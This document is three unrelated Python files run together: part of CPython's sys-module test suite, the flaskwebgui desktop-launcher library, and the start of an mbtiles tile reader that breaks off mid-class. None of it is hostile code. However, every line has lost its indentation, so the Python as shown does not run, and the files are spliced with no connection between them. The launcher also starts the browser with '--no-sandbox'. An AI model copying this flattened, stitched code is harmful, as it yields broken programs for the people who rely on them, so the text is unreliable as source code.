def test_sys_flags(self):
self.assertTrue(sys.flags)
attrs = ("debug",
"inspect", "interactive", "optimize", "dont_write_bytecode",
"no_user_site", "no_site", "ignore_environment", "verbose",
"bytes_warning", "quiet", "hash_randomization", "isolated",
"dev_mode", "utf8_mode")
for attr in attrs:
self.assertTrue(hasattr(sys.flags, attr), attr)
attr_type = bool if attr == "dev_mode" else int
self.assertEqual(type(getattr(sys.flags, attr)), attr_type, attr)
self.assertTrue(repr(sys.flags))
self.assertEqual(len(sys.flags), len(attrs))
self.assertIn(sys.flags.utf8_mode, {0, 1, 2})
def assert_raise_on_new_sys_type(self, sys_attr):
# Users are intentionally prevented from creating new instances of
# sys.flags, sys.version_info, and sys.getwindowsversion.
attr_type = type(sys_attr)
with self.assertRaises(TypeError):
attr_type()
with self.assertRaises(TypeError):
attr_type.__new__(attr_type)
def test_sys_flags_no_instantiation(self):
self.assert_raise_on_new_sys_type(sys.flags)
def test_sys_version_info_no_instantiation(self):
self.assert_raise_on_new_sys_type(sys.version_info)
def test_sys_getwindowsversion_no_instantiation(self):
# Skip if not being run on Windows.
test.support.get_attribute(sys, "getwindowsversion")
self.assert_raise_on_new_sys_type(sys.getwindowsversion())
@test.support.cpython_only
def test_clear_type_cache(self):
sys._clear_type_cache()
def test_ioencoding(self):
env = dict(os.environ)
# Test character: cent sign, encoded as 0x4A (ASCII J) in CP424,
# not representable in ASCII.
env["PYTHONIOENCODING"] = "cp424"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
expected = ("\xa2" + os.linesep).encode("cp424")
self.assertEqual(out, expected)
env["PYTHONIOENCODING"] = "ascii:replace"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, b'?')
env["PYTHONIOENCODING"] = "ascii"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
env=env)
out, err = p.communicate()
self.assertEqual(out, b'')
self.assertIn(b'UnicodeEncodeError:', err)
self.assertIn(rb"'\xa2'", err)
env["PYTHONIOENCODING"] = "ascii:"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
env=env)
out, err = p.communicate()
self.assertEqual(out, b'')
self.assertIn(b'UnicodeEncodeError:', err)
self.assertIn(rb"'\xa2'", err)
env["PYTHONIOENCODING"] = ":surrogateescape"
p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xdcbd))'],
stdout=subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, b'\xbd')
@unittest.skipUnless(test.support.FS_NONASCII,
'requires OS support of non-ASCII encodings')
@unittest.skipUnless(sys.getfilesystemencoding() == locale.getpreferredencoding(False),
'requires FS encoding to match locale')
def test_ioencoding_nonascii(self):
env = dict(os.environ)
env["PYTHONIOENCODING"] = ""
p = subprocess.Popen([sys.executable, "-c",
'print(%a)' % test.support.FS_NONASCII],
stdout=subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, os.fsencode(test.support.FS_NONASCII))
@unittest.skipIf(sys.base_prefix != sys.prefix,
'Test is not venv-compatible')
def test_executable(self):
# sys.executable should be absolute
self.assertEqual(os.path.abspath(sys.executable), sys.executable)
# Issue #7774: Ensure that sys.executable is an empty string if argv[0]
# has been set to a non existent program name and Python is unable to
# retrieve the real program name
# For a normal installation, it should work without 'cwd'
# argument. For test runs in the build directory, see #7774.
python_dir = os.path.dirname(os.path.realpath(sys.executable))
p = subprocess.Popen(
["nonexistent", "-c",
'import sys; print(sys.executable.encode("ascii", "backslashreplace"))'],
executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir)
stdout = p.communicate()[0]
executable = stdout.strip().decode("ASCII")
p.wait()
self.assertIn(executable, ["b''", repr(sys.executable.encode("ascii", "backslashreplace"))])
def check_fsencoding(self, fs_encoding, expected=None):
self.assertIsNotNone(fs_encoding)
codecs.lookup(fs_encoding)
if expected:
self.assertEqual(fs_encoding, expected)
def test_getfilesystemencoding(self):
fs_encoding = sys.getfilesystemencoding()
if sys.platform == 'darwin':
expected = 'utf-8'
else:
expected = None
self.check_fsencoding(fs_encoding, expected)
def c_locale_get_error_handler(self, locale, isolated=False, encoding=None):
# Force the POSIX locale
env = os.environ.copy()
env["LC_ALL"] = locale
env["PYTHONCOERCECLOCALE"] = "0"
code = '\n'.join((
'import sys',
'def dump(name):',
' std = getattr(sys, name)',
' print("%s: %s" % (name, std.errors))',
'dump("stdin")',
'dump("stdout")',
'dump("stderr")',
))
args = [sys.executable, "-X", "utf8=0", "-c", code]
if isolated:
args.append("-I")
if encoding is not None:
env['PYTHONIOENCODING'] = encoding
else:
env.pop('PYTHONIOENCODING', None)
p = subprocess.Popen(args,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
env=env,
universal_newlines=True)
stdout, stderr = p.communicate()
return stdout
def check_locale_surrogateescape(self, locale):
out = self.c_locale_get_error_handler(locale, isolated=True)
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
# replace the default error handler
out = self.c_locale_get_error_handler(locale, encoding=':ignore')
self.assertEqual(out,
'stdin: ignore\n'
'stdout: ignore\n'
'stderr: backslashreplace\n')
# force the encoding
out = self.c_locale_get_error_handler(locale, encoding='iso8859-1')
self.assertEqual(out,
'stdin: strict\n'
'stdout: strict\n'
'stderr: backslashreplace\n')
out = self.c_locale_get_error_handler(locale, encoding='iso8859-1:')
self.assertEqual(out,
'stdin: strict\n'
'stdout: strict\n'
'stderr: backslashreplace\n')
# have no any effect
out = self.c_locale_get_error_handler(locale, encoding=':')
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
out = self.c_locale_get_error_handler(locale, encoding='')
self.assertEqual(out,
'stdin: surrogateescape\n'
'stdout: surrogateescape\n'
'stderr: backslashreplace\n')
def test_c_locale_surrogateescape(self):
self.check_locale_surrogateescape('C')
def test_posix_locale_surrogateescape(self):
self.check_locale_surrogateescape('POSIX')
def test_implementation(self):
# This test applies to all implementations equally.
levels = {'alpha': 0xA, 'beta': 0xB, 'candidate': 0xC, 'final': 0xF}
self.assertTrue(hasattr(sys.implementation, 'name'))
self.assertTrue(hasattr(sys.implementation, 'version'))
self.assertTrue(hasattr(sys.implementation, 'hexversion'))
self.assertTrue(hasattr(sys.implementation, 'cache_tag'))
version = sys.implementation.version
self.assertEqual(version[:2], (version.major, version.minor))
hexversion = (version.major << 24 | version.minor << 16 |
version.micro << 8 | levels[version.releaselevel] << 4 |
version.serial << 0)
self.assertEqual(sys.implementation.hexversion, hexversion)
# PEP 421 requires that .name be lower case.
self.assertEqual(sys.implementation.name,
sys.implementation.name.lower())
@test.support.cpython_only
def test_debugmallocstats(self):
# Test sys._debugmallocstats()
from test.support.script_helper import assert_python_ok
args = ['-c', 'import sys; sys._debugmallocstats()']
ret, out, err = assert_python_ok(*args)
self.assertIn(b"free PyDictObjects", err)
# The function has no parameter
self.assertRaises(TypeError, sys._debugmallocstats, True)
@unittest.skipUnless(hasattr(sys, "getallocatedblocks"),
"sys.getallocatedblocks unavailable on this build")
def test_getallocatedblocks(self):
try:
import _testcapi
except ImportError:
with_pymalloc = support.with_pymalloc()
else:
alloc_name = _testcapi.pymem_getallocatorsname()
with_pymalloc = (alloc_name in ('pymalloc', 'pymalloc_debug'))
# Some sanity checks
a = sys.getallocatedblocks()
self.assertIs(type(a), int)
if with_pymalloc:
self.assertGreater(a, 0)
else:
# When WITH_PYMALLOC isn't available, we don't know anything
# about the underlying implementation: the function might
# return 0 or something greater.
self.assertGreaterEqual(a, 0)
try:
# While we could imagine a Python session where the number of
# multiple buffer objects would exceed the sharing of references,
# it is unlikely to happen in a normal test run.
self.assertLess(a, sys.gettotalrefcount())
except AttributeError:
# gettotalrefcount() not available
pass
gc.collect()
b = sys.getallocatedblocks()
self.assertLessEqual(b, a)
gc.collect()
c = sys.getallocatedblocks()
self.assertIn(c, range(b - 50, b + 50))
@test.support.requires_type_collecting
def test_is_finalizing(self):
self.assertIs(sys.is_finalizing(), False)
# Don't use the atexit module because _Py_Finalizing is only set
# after calling atexit callbacks
code = """if 1:
import sys
class AtExit:
is_finalizing = sys.is_finalizing
print = print
def __del__(self):
self.print(self.is_finalizing(), flush=True)
# Keep a reference in the __main__ module namespace, so the
# AtExit destructor will be called at Python exit
ref = AtExit()
"""
rc, stdout, stderr = assert_python_ok('-c', code)
self.assertEqual(stdout.rstrip(), b'True')
@unittest.skipUnless(hasattr(sys, 'getandroidapilevel'),
'need sys.getandroidapilevel()')
def test_getandroidapilevel(self):
level = sys.getandroidapilevel()
self.assertIsInstance(level, int)
self.assertGreater(level, 0)
def test_sys_tracebacklimit(self):
code = """if 1:
import sys
def f1():
1 / 0
def f2():
f1()
sys.tracebacklimit = %r
f2()
"""
def check(tracebacklimit, expected):
p = subprocess.Popen([sys.executable, '-c', code % tracebacklimit],
stderr=subprocess.PIPE)
out = p.communicate()[1]
self.assertEqual(out.splitlines(), expected)
traceback = [
b'Traceback (most recent call last):',
b' File "<string>", line 8, in <module>',
b' File "<string>", line 6, in f2',
b' File "<string>", line 4, in f1',
b'ZeroDivisionError: division by zero'
]
check(10, traceback)
check(3, traceback)
check(2, traceback[:1] + traceback[2:])
check(1, traceback[:1] + traceback[3:])
check(0, [traceback[-1]])
check(-1, [traceback[-1]])
check(1<<1000, traceback)
check(-1<<1000, [traceback[-1]])
check(None, traceback)
def test_no_duplicates_in_meta_path(self):
self.assertEqual(len(sys.meta_path), len(set(sys.meta_path)))
@unittest.skipUnless(hasattr(sys, "_enablelegacywindowsfsencoding"),
'needs sys._enablelegacywindowsfsencoding()')
def test__enablelegacywindowsfsencoding(self):
code = ('import sys',
'sys._enablelegacywindowsfsencoding()',
'print(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())')
rc, out, err = assert_python_ok('-c', '; '.join(code))
out = out.decode('ascii', 'replace').rstrip()
self.assertEqual(out, 'mbcs replace')
@test.support.cpython_only
class SizeofTest(unittest.TestCase):
def setUp(self):
self.P = struct.calcsize('P')
self.longdigit = sys.int_info.sizeof_digit
import _testcapi
self.gc_headsize = _testcapi.SIZEOF_PYGC_HEAD
check_sizeof = test.support.check_sizeof
def test_gc_head_size(self):
# Check that the gc header size is added to objects tracked by the gc.
vsize = test.support.calcvobjsize
gc_header_size = self.gc_headsize
# bool objects are not gc tracked
self.assertEqual(sys.getsizeof(True), vsize('') + self.longdigit)
# but lists are
self.assertEqual(sys.getsizeof([]), vsize('Pn') + gc_header_size)
def test_errors(self):
class BadSizeof:
def __sizeof__(self):
raise ValueError
self.assertRaises(ValueError, sys.getsizeof, BadSizeof())
class InvalidSizeof:
def __sizeof__(self):
return None
self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof())
sentinel = ["sentinel"]
self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel)
class FloatSizeof:
def __sizeof__(self):
return 4.5
self.assertRaises(TypeError, sys.getsizeof, FloatSizeof())
self.assertIs(sys.getsizeof(FloatSizeof(), sentinel), sentinel)
class OverflowSizeof(int):
def __sizeof__(self):
return int(self)
self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)),
sys.maxsize + self.gc_headsize)
with self.assertRaises(OverflowError):
sys.getsizeof(OverflowSizeof(sys.maxsize + 1))
with self.assertRaises(ValueError):
sys.getsizeof(OverflowSizeof(-1))
with self.assertRaises((ValueError, OverflowError)):
sys.getsizeof(OverflowSizeof(-sys.maxsize - 1))
def test_default(self):
size = test.support.calcvobjsize
self.assertEqual(sys.getsizeof(True), size('') + self.longdigit)
self.assertEqual(sys.getsizeof(True, -1), size('') + self.longdigit)
def test_objecttypes(self):
# check all types defined in Objects/
calcsize = struct.calcsize
size = test.support.calcobjsize
vsize = test.support.calcvobjsize
check = self.check_sizeof
# bool
check(True, vsize('') + self.longdigit)
# buffer
# XXX
# builtin_function_or_method
check(len, size('4P')) # XXX check layout
# bytearray
samples = [b'', b'u'*100000]
for sample in samples:
x = bytearray(sample)
check(x, vsize('n2Pi') + x.__alloc__())
# bytearray_iterator
check(iter(bytearray()), size('nP'))
# bytes
check(b'', vsize('n') + 1)
check(b'x' * 10, vsize('n') + 11)
# cell
def get_cell():
x = 42
def inner():
return x
return inner
check(get_cell().__closure__[0], size('P'))
# code
def check_code_size(a, expected_size):
self.assertGreaterEqual(sys.getsizeof(a), expected_size)
check_code_size(get_cell().__code__, size('6i13P'))
check_code_size(get_cell.__code__, size('6i13P'))
def get_cell2(x):
def inner():
return x
return inner
check_code_size(get_cell2.__code__, size('6i13P') + calcsize('n'))
# complex
check(complex(0,1), size('2d'))
# method_descriptor (descriptor object)
check(str.lower, size('3PP'))
# classmethod_descriptor (descriptor object)
# XXX
# member_descriptor (descriptor object)
import datetime
check(datetime.timedelta.days, size('3PP'))
# getset_descriptor (descriptor object)
import collections
check(collections.defaultdict.default_factory, size('3PP'))
# wrapper_descriptor (descriptor object)
check(int.__add__, size('3P2P'))
# method-wrapper (descriptor object)
check({}.__iter__, size('2P'))
# empty dict
check({}, size('nQ2P'))
# dict
check({"a": 1}, size('nQ2P') + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P'))
longdict = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8}
check(longdict, size('nQ2P') + calcsize('2nP2n') + 16 + (16*2//3)*calcsize('n2P'))
# dictionary-keyview
check({}.keys(), size('P'))
# dictionary-valueview
check({}.values(), size('P'))
# dictionary-itemview
check({}.items(), size('P'))
# dictionary iterator
check(iter({}), size('P2nPn'))
# dictionary-keyiterator
check(iter({}.keys()), size('P2nPn'))
# dictionary-valueiterator
check(iter({}.values()), size('P2nPn'))
# dictionary-itemiterator
check(iter({}.items()), size('P2nPn'))
# dictproxy
class C(object): pass
check(C.__dict__, size('P'))
# BaseException
check(BaseException(), size('5Pb'))
# UnicodeEncodeError
check(UnicodeEncodeError("", "", 0, 0, ""), size('5Pb 2P2nP'))
# UnicodeDecodeError
check(UnicodeDecodeError("", b"", 0, 0, ""), size('5Pb 2P2nP'))
# UnicodeTranslateError
check(UnicodeTranslateError("", 0, 1, ""), size('5Pb 2P2nP'))
# ellipses
check(Ellipsis, size(''))
# EncodingMap
import codecs, encodings.iso8859_3
x = codecs.charmap_build(encodings.iso8859_3.decoding_table)
check(x, size('32B2iB'))
# enumerate
check(enumerate([]), size('n3P'))
# reverse
check(reversed(''), size('nP'))
# float
check(float(0), size('d'))
# sys.floatinfo
check(sys.float_info, vsize('') + self.P * len(sys.float_info))
# frame
import inspect
CO_MAXBLOCKS = 20
x = inspect.currentframe()
ncells = len(x.f_code.co_cellvars)
nfrees = len(x.f_code.co_freevars)
extras = x.f_code.co_stacksize + x.f_code.co_nlocals +\
ncells + nfrees - 1
check(x, vsize('5P2c4P3ic' + CO_MAXBLOCKS*'3i' + 'P' + extras*'P'))
# function
def func(): pass
check(func, size('12P'))
class c():
@staticmethod
def foo():
pass
@classmethod
def bar(cls):
pass
# staticmethod
check(foo, size('PP'))
# classmethod
check(bar, size('PP'))
# generator
def get_gen(): yield 1
check(get_gen(), size('Pb2PPP4P'))
# iterator
check(iter('abc'), size('lP'))
# callable-iterator
import re
check(re.finditer('',''), size('2P'))
# list
samples = [[], [1,2,3], ['1', '2', '3']]
for sample in samples:
check(sample, vsize('Pn') + len(sample)*self.P)
# sortwrapper (list)
# XXX
# cmpwrapper (list)
# XXX
# listiterator (list)
check(iter([]), size('lP'))
# listreverseiterator (list)
check(reversed([]), size('nP'))
# int
check(0, vsize(''))
check(1, vsize('') + self.longdigit)
check(-1, vsize('') + self.longdigit)
PyLong_BASE = 2**sys.int_info.bits_per_digit
check(int(PyLong_BASE), vsize('') + 2*self.longdigit)
check(int(PyLong_BASE**2-1), vsize('') + 2*self.longdigit)
check(int(PyLong_BASE**2), vsize('') + 3*self.longdigit)
# module
check(unittest, size('PnPPP'))
# None
check(None, size(''))
# NotImplementedType
check(NotImplemented, size(''))
# object
check(object(), size(''))
# property (descriptor object)
class C(object):
def getx(self): return self.__x
def setx(self, value): self.__x = value
def delx(self): del self.__x
x = property(getx, setx, delx, "")
check(x, size('4Pi'))
# PyCapsule
# XXX
# rangeiterator
check(iter(range(1)), size('4l'))
# reverse
check(reversed(''), size('nP'))
# range
check(range(1), size('4P'))
check(range(66000), size('4P'))
# set
# frozenset
PySet_MINSIZE = 8
samples = [[], range(10), range(50)]
s = size('3nP' + PySet_MINSIZE*'nP' + '2nP')
for sample in samples:
minused = len(sample)
if minused == 0: tmp = 1
# the computation of minused is actually a bit more complicated
# but this suffices for the sizeof test
minused = minused*2
newsize = PySet_MINSIZE
while newsize <= minused:
newsize = newsize << 1
if newsize <= 8:
check(set(sample), s)
check(frozenset(sample), s)
else:
check(set(sample), s + newsize*calcsize('nP'))
check(frozenset(sample), s + newsize*calcsize('nP'))
# setiterator
check(iter(set()), size('P3n'))
# slice
check(slice(0), size('3P'))
# super
check(super(int), size('3P'))
# tuple
check((), vsize(''))
check((1,2,3), vsize('') + 3*self.P)
# type
# static type: PyTypeObject
fmt = 'P2n15Pl4Pn9Pn11PIP'
if hasattr(sys, 'getcounts'):
fmt += '3n2P'
s = vsize(fmt)
check(int, s)
# class
s = vsize(fmt + # PyTypeObject
'3P' # PyAsyncMethods
'36P' # PyNumberMethods
'3P' # PyMappingMethods
'10P' # PySequenceMethods
'2P' # PyBufferProcs
'4P')
class newstyleclass(object): pass
# Separate block for PyDictKeysObject with 8 keys and 5 entries
check(newstyleclass, s + calcsize("2nP2n0P") + 8 + 5*calcsize("n2P"))
# dict with shared keys
check(newstyleclass().__dict__, size('nQ2P') + 5*self.P)
o = newstyleclass()
o.a = o.b = o.c = o.d = o.e = o.f = o.g = o.h = 1
# Separate block for PyDictKeysObject with 16 keys and 10 entries
check(newstyleclass, s + calcsize("2nP2n0P") + 16 + 10*calcsize("n2P"))
# dict with shared keys
check(newstyleclass().__dict__, size('nQ2P') + 10*self.P)
# unicode
# each tuple contains a string and its expected character size
# don't put any static strings here, as they may contain
# wchar_t or UTF-8 representations
samples = ['1'*100, '\xff'*50,
'\u0100'*40, '\uffff'*100,
'\U00010000'*30, '\U0010ffff'*100]
asciifields = "nnbP"
compactfields = asciifields + "nPn"
unicodefields = compactfields + "P"
for s in samples:
maxchar = ord(max(s))
if maxchar < 128:
L = size(asciifields) + len(s) + 1
elif maxchar < 256:
L = size(compactfields) + len(s) + 1
elif maxchar < 65536:
L = size(compactfields) + 2*(len(s) + 1)
else:
L = size(compactfields) + 4*(len(s) + 1)
check(s, L)
# verify that the UTF-8 size is accounted for
s = chr(0x4000) # 4 bytes canonical representation
check(s, size(compactfields) + 4)
# compile() will trigger the generation of the UTF-8
# representation as a side effect
compile(s, "<stdin>", "eval")
check(s, size(compactfields) + 4 + 4)
# TODO: add check that forces the presence of wchar_t representation
# TODO: add check that forces layout of unicodefields
# weakref
import weakref
check(weakref.ref(int), size('2Pn2P'))
# weakproxy
# XXX
# weakcallableproxy
check(weakref.proxy(int), size('2Pn2P'))
def check_slots(self, obj, base, extra):
expected = sys.getsizeof(base) + struct.calcsize(extra)
if gc.is_tracked(obj) and not gc.is_tracked(base):
expected += self.gc_headsize
self.assertEqual(sys.getsizeof(obj), expected)
def test_slots(self):
# check all subclassable types defined in Objects/ that allow
# non-empty __slots__
check = self.check_slots
class BA(bytearray):
__slots__ = 'a', 'b', 'c'
check(BA(), bytearray(), '3P')
class D(dict):
__slots__ = 'a', 'b', 'c'
check(D(x=[]), {'x': []}, '3P')
class L(list):
__slots__ = 'a', 'b', 'c'
check(L(), [], '3P')
class S(set):
__slots__ = 'a', 'b', 'c'
check(S(), set(), '3P')
class FS(frozenset):
__slots__ = 'a', 'b', 'c'
check(FS(), frozenset(), '3P')
from collections import OrderedDict
class OD(OrderedDict):
__slots__ = 'a', 'b', 'c'
check(OD(x=[]), OrderedDict(x=[]), '3P')
def test_pythontypes(self):
# check all types defined in Python/
size = test.support.calcobjsize
vsize = test.support.calcvobjsize
check = self.check_sizeof
# _ast.AST
import _ast
check(_ast.AST(), size('P'))
try:
raise TypeError
except TypeError:
tb = sys.exc_info()[2]
# traceback
if tb is not None:
check(tb, size('2P2i'))
# symtable entry
# XXX
# sys.flags
check(sys.flags, vsize('') + self.P * len(sys.flags))
def test_asyncgen_hooks(self):
old = sys.get_asyncgen_hooks()
self.assertIsNone(old.firstiter)
self.assertIsNone(old.finalizer)
firstiter = lambda *a: None
sys.set_asyncgen_hooks(firstiter=firstiter)
hooks = sys.get_asyncgen_hooks()
self.assertIs(hooks.firstiter, firstiter)
self.assertIs(hooks[0], firstiter)
self.assertIs(hooks.finalizer, None)
self.assertIs(hooks[1], None)
finalizer = lambda *a: None
sys.set_asyncgen_hooks(finalizer=finalizer)
hooks = sys.get_asyncgen_hooks()
self.assertIs(hooks.firstiter, firstiter)
self.assertIs(hooks[0], firstiter)
self.assertIs(hooks.finalizer, finalizer)
self.assertIs(hooks[1], finalizer)
sys.set_asyncgen_hooks(*old)
cur = sys.get_asyncgen_hooks()
self.assertIsNone(cur.firstiter)
self.assertIsNone(cur.finalizer)
def test_main():
test.support.run_unittest(SysModuleTest, SizeofTest)
if __name__ == "__main__":
test_main()
|
flaskwebgui.py
|
__version__ = "0.3.3"
import os
import sys
import time
from datetime import datetime
import logging
import tempfile
import socketserver
import subprocess as sps
from inspect import isfunction
from threading import Lock, Thread
logging.basicConfig(level=logging.INFO, format='flaskwebgui - [%(levelname)s] - %(message)s')
# UTILS
def find_chrome_mac():
chrome_names = ['Google Chrome', 'Chromium']
for chrome_name in chrome_names:
default_dir = r'/Applications/{}.app/Contents/MacOS/{}'.format(chrome_name, chrome_name)
if os.path.exists(default_dir):
return default_dir
# use mdfind ci to locate Chrome in alternate locations and return the first one
name = '{}.app'.format(chrome_name)
alternate_dirs = [x for x in sps.check_output(["mdfind", name]).decode().split('\n') if x.endswith(name)]
if len(alternate_dirs):
return alternate_dirs[0] + '/Contents/MacOS/{}'.format(chrome_name)
return None
def find_chrome_linux():
try:
import whichcraft as wch
except Exception as e:
raise Exception("whichcraft module is not installed/found \
please fill browser_path parameter or install whichcraft!") from e
chrome_names = ['chromium-browser',
'chromium',
'google-chrome',
'google-chrome-stable']
for name in chrome_names:
chrome = wch.which(name)
if chrome is not None:
return chrome
return None
def find_chrome_win():
#using edge by default since it's build on chromium
edge_path = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
if os.path.exists(edge_path):
return edge_path
import winreg as reg
reg_path = r'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe'
chrome_path = None
last_exception = None
for install_type in reg.HKEY_CURRENT_USER, reg.HKEY_LOCAL_MACHINE:
try:
reg_key = reg.OpenKey(install_type, reg_path, 0, reg.KEY_READ)
chrome_path = reg.QueryValue(reg_key, None)
reg_key.Close()
except WindowsError as e:
last_exception = e
else:
if chrome_path and len(chrome_path) > 0:
break
# Only log some debug info if we failed completely to find chrome
if not chrome_path:
logging.exception(last_exception)
logging.error("Failed to detect chrome location from registry")
else:
logging.info(f"Chrome path detected as: {chrome_path}")
return chrome_path
def get_default_chrome_path():
"""
Credits for get_instance_path, find_chrome_mac, find_chrome_linux, find_chrome_win funcs
got from: https://github.com/ChrisKnott/Eel/blob/master/eel/chrome.py
"""
if sys.platform in ['win32', 'win64']:
return find_chrome_win()
elif sys.platform in ['darwin']:
return find_chrome_mac()
elif sys.platform.startswith('linux'):
return find_chrome_linux()
# class FlaskwebguiDjangoMiddleware:
#TODO help needed here
# def __init__(self, get_response=None):
# self.get_response = get_response
# def __call__(self, request):
# response = self.get_response(request)
# return response
current_timestamp = None
class FlaskUI:
def __init__(self,
app,
start_server='flask',
width=800,
height=600,
maximized=False,
fullscreen=False,
browser_path=None,
socketio=None,
on_exit=None,
idle_interval=5
) -> None:
self.app = app
self.start_server = str(start_server).lower()
self.width = str(width)
self.height= str(height)
self.fullscreen = fullscreen
self.maximized = maximized
self.browser_path = browser_path if browser_path else get_default_chrome_path()
self.socketio = socketio
self.on_exit = on_exit
self.idle_interval = idle_interval
self.set_url()
self.webserver_dispacher = {
"flask": self.start_flask,
"flask-socketio": self.start_flask_socketio,
"django": self.start_django,
"fastapi": self.start_fastapi
}
self.supported_frameworks = list(self.webserver_dispacher.keys())
self.lock = Lock()
def update_timestamp(self):
self.lock.acquire()
global current_timestamp
current_timestamp = datetime.now()
self.lock.release()
def run(self):
"""
Starts 3 threads one for webframework server and one for browser gui
"""
self.update_timestamp()
t_start_webserver = Thread(target=self.start_webserver)
t_open_chromium = Thread(target=self.open_chromium)
t_stop_webserver = Thread(target=self.stop_webserver)
threads = [t_start_webserver, t_open_chromium, t_stop_webserver]
for t in threads: t.start()
for t in threads: t.join()
def set_url(self):
with socketserver.TCPServer(("localhost", 0), None) as s:
free_port = s.server_address[1]
self.host = '127.0.0.1'
self.port = free_port
self.localhost = f"http://{self.host}:{self.port}"
def start_webserver(self):
if isfunction(self.start_server):
self.start_server()
if self.start_server not in self.supported_frameworks:
raise Exception(f"'start_server'({self.start_server}) not in {','.join(self.supported_frameworks)} and also not a function which starts the webframework")
self.webserver_dispacher[self.start_server]()
def add_flask_middleware(self):
@self.app.after_request
def keep_alive_after_request(response):
self.keep_server_running()
return response
@self.app.route("/flaskwebgui-keep-server-alive")
def keep_alive_pooling():
self.keep_server_running()
return "ok"
def start_flask(self):
self.add_flask_middleware()
try:
import waitress
waitress.serve(self.app, host=self.host, port=self.port)
except:
self.app.run(host=self.host, port=self.port)
def start_flask_socketio(self):
self.add_flask_middleware()
self.socketio.run(self.app, host=self.host, port=self.port)
def start_django(self):
try:
import waitress
waitress.serve(self.app, host=self.host, port=self.port)
except:
try:#linux and mac
os.system(f"python3 manage.py runserver {self.port}")
except:#windows
os.system(f"python manage.py runserver {self.port}")
def add_fastapi_middleware(self):
@self.app.middleware("http")
async def keep_alive_after_request(request, call_next):
response = await call_next(request)
self.keep_server_running()
return response
@self.app.route("/flaskwebgui-keep-server-alive")
async def keep_alive_pooling():
self.keep_server_running()
return "ok"
def start_fastapi(self):
import uvicorn
self.add_fastapi_middleware()
uvicorn.run(self.app, host=self.host, port=self.port, log_level="warning")
def open_chromium(self):
"""
Open the browser selected (by default it looks for chrome)
# https://peter.sh/experiments/chromium-command-line-switches/
"""
logging.info(f"Opening browser at {self.localhost}")
temp_profile_dir = os.path.join(tempfile.gettempdir(), "flaskwebgui")
if self.browser_path:
launch_options = None
if self.fullscreen:
launch_options = ["--start-fullscreen"]
elif self.maximized:
launch_options = ["--start-maximized"]
else:
launch_options = [f"--window-size={self.width},{self.height}"]
options = [
self.browser_path,
f"--user-data-dir={temp_profile_dir}",
"--new-window",
"--no-sandbox",
"--no-first-run",
# "--window-position=0,0"
] + launch_options + [f'--app={self.localhost}']
sps.Popen(options, stdout=sps.PIPE, stderr=sps.PIPE, stdin=sps.PIPE)
else:
import webbrowser
webbrowser.open_new(self.localhost)
def stop_webserver(self):
#TODO add middleware for Django
if self.start_server == 'django':
logging.info("Middleware not implemented (yet) for Django.")
return
while True:
self.lock.acquire()
global current_timestamp
delta_seconds = (datetime.now() - current_timestamp).total_seconds()
self.lock.release()
if delta_seconds > self.idle_interval:
logging.info("App closed")
break
time.sleep(self.idle_interval)
if isfunction(self.on_exit):
logging.info(f"Executing {self.on_exit.__name__} function...")
self.on_exit()
logging.info("Closing connections...")
os.kill(os.getpid(), 9)
def keep_server_running(self):
self.update_timestamp()
return "Ok"
|
mbtiles_reader.py
|
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim: ts=2 sw=2 et ai
###############################################################################
# Copyright (c) 2012,2020 Andreas Vogel andreas@wellenvogel.net
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
#
###############################################################################
# read mbtiles files and provide them for access via http
import os
import sqlite3
import sys
import threading
import create_overview
from avnav_util import AVNLog, AVNUtil, ChartFile
#mbtiles:
#zoom_level => z
#tile_column => x
#tile_row => 2^^z-1-y
class QueueEntry:
def __init__(self,tile):
self.cond=threading.Condition()
self.tile=tile
self.data=None
self.dataAvailable=False
def waitAndGet(self):
while True:
self.cond.acquire()
if self.dataAvailable:
self.cond.release()
return self.data
self.cond.wait(5)
self.cond.release()
def setData(self,data):
self.cond.acquire()
self.data=data
self.dataAvailable=True
self.cond.notify_all()
self.cond.release()
class MBTilesFile(ChartFile):
def __init__(self,filename,timeout=300):
self.filename=filename
self.isOpen=False
self.cond=threading.Condition()
self.connection=None
